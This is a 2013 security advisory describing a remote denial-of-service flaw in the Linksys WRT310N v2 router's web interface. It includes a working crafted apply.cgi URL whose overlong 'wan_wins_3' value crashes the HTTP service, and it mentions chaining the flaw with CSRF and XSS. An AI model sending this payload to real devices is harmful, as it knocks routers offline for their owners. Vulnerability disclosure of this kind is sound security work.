Cisco/Linksys HTTP Service Remote DoS (Denial of Service)

[Carl Benedict <theinfinitenigma@xxxxxxxxx>]

Summary
--------------------
Software  : Cisco/Linksys Router OS  
Hardware : WRT310N v2 (others currently untested)
Version   : 2.0.00 (others currently untested)
Website   : http://www.linksys.com
Issue     :  Remote Denial of Service
Severity  : High
Researcher: Carl Benedict (theinfinitenigma)

Product Description
--------------------
The Cisco/Linksys WRT310N v2 is a consumer-grade router, wireless access point, 
and gigabit switch. 

Details
--------------------
The HTTP service on this device is vulnerable to a remote denial of service 
condition via multiple parameters in the 'setup' form of index.asp.  

wan_wins_0 
wan_wins_1
wan_wins_2
wan_wins_3

These inputs expect fixed-length data in the format of an IP address octet 
(numbers 0 - 255). While client-side protections are in place, no input 
validation on the server side is performed. One can leverage other 
vulnerabilities reported in this platform (XSS and CSRF) to exacerbate this 
issue. The page 'apply.cgi' allows HTML forms to be submitted via both HTTP 
POST and HTTP GET requests.  The following crafted link can be used to pass a 
value greater than 18 bytes in one of the above-mentioned paramaters causing 
the HTTP service to stop responding. 

http://192.168.1.1/apply.cgi?pptp_dhcp=0&submit_button=index&change_action=&submit_type=&action=Apply&now_proto=dhcp&daylight_time=1&lan_ipaddr=4&wait_time=0&need_reboot=0&dhcp_check=&lan_netmask_0=&lan_netmask_1=&lan_netmask_2=&lan_netmask_3=&timer_interval=30&language=EN&wan_proto=dhcp&wan_hostname=&wan_domain=&mtu_enable=0&lan_ipaddr_0=192&lan_ipaddr_1=168&lan_ipaddr_2=1&lan_ipaddr_3=1&lan_netmask=255.255.255.0&url_address=my.wrt310n&lan_proto=dhcp&dhcp_start=100&dhcp_num=50&dhcp_lease=0&wan_dns=4&wan_dns0_0=0&wan_dns0_1=0&wan_dns0_2=0&wan_dns0_3=0&wan_dns1_0=0&wan_dns1_1=0&wan_dns1_2=0&wan_dns1_3=0&wan_dns2_0=0&wan_dns2_1=0&wan_dns2_2=0&wan_dns2_3=0&wan_wins=4&wan_wins_0=0&wan_wins_1=0&wan_wins_2=0&wan_wins_3=AAAAAAAAAAAAAAAAAAA&time_zone=-08+1+1&_daylight_time=1

The service will stop responding and become inaccessible for several minutes. 
After a few minutes, it appears that an automated task such as a CRON job 
restarts the service. 

Authentication is required to perform this action. The application uses HTTP 
Basic Authentication, which is weak (base64-encoded credentials in the format 
of username:password).  

History
--------------------
04/16/2013 : Discovery
04/23/2013 : Advisory released

References
--------------------
Cisco/Linksys WRT310N v2 XSS: 
http://cve.mitre.org/cgi-bin/cvename.cgi?name=2013-3067
Cisco/Linksys WRT310N v2 CSRF: 
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-3068